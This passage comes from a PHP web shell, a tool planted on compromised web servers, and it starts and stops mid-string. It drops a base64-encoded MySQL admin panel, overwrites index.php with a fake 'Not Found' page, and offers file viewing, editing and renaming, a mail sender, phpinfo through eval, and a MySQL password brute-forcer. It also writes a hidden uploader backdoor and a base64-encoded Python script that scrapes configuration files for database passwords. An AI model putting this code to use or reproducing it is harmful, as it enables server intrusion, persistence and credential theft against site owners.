mFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==\'; 
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
    chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = \'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+\';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
   echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>"; 
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mail\')){
if(isset($_POST[\'mail_send\'])){
	$mail_to = $_POST[\'mail_to\'];
	$mail_from = $_POST[\'mail_from\'];
	$mail_subject = $_POST[\'mail_subject\'];
	$mail_content = magicboom($_POST[\'mail_content\']);
	if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
		$msg = "email sent to $mail_to";
	}
	else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me A.S.A.P</textarea>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />&nbsp; from</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>

<?php }


elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'phpinfo\')){ 
	@ob_start();
	eval("phpinfo();");
	$buff = @ob_get_contents();
	@ob_end_clean();	
	$awal = strpos($buff,"<body>")+6;
	$akhir = strpos($buff,"</body>");
	echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET[\'view\']) && ($_GET[\'view\'] != "")){
  if(is_file($_GET[\'view\'])){ 
	if(!isset($file)) $file = magicboom($_GET[\'view\']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\" />
	</form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
	</table>
	";
	if(isset($_GET[\'type\']) && ($_GET[\'type\']==\'image\')){
		echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'code\')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET[\'view\'])){
		echo showdir($pwd,$prompt);
  }
	
}
elseif(isset($_GET[\'edit\']) && ($_GET[\'edit\'] != "")){

		if(isset($_POST[\'save\'])){
			$file = $_POST[\'saveas\'];
			$content = magicboom($_POST[\'content\']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "failed to save";
				@fclose($filez);
			}
			else $msg = "permission denied";
		}
		if(!isset($file)) $file = $_GET[\'edit\'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("\'\'","\'",fgets($filez)));
			}
			@fclose($filez);
		}
	
?>
<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'logout\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">

<?php
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); 
    echo \'bye!\'; 
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'brute\'))
			{	
			?>
				<form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">
			<?php
			//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By BCC
*/
@set_time_limit(0);
@error_reporting(0);


if($_POST[\'page\']==\'find\')
{
if(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))
{
    if($_POST[\'type\'] == \'passwd\'){
        $e = explode("
",$_POST[\'usernames\']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k[\'0\']." ";
        }
    }elseif($_POST[\'type\'] == \'simple\'){
        $username = str_replace("
",\' \',$_POST[\'usernames\']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST[\'passwords\']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== \'\')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect(\'localhost\',$user,$pass))
            {
                echo "Gca~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<hr><b>You Found <font color=green>$ok</font> Cpanel</b>";
    echo "<center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
    exit;
}
}
if($_POST[\'pass\']==\'password\'){
@error_reporting(0);
$i = getenv(\'REMOTE_ADDR\');
$d = date(\'D, M jS, Y H:i\',time());
$h = $_SERVER[\'HTTP_HOST\'];
$dir=$_SERVER[\'PHP_SELF\'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir(\'config\',0755);
$cp =
\'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpK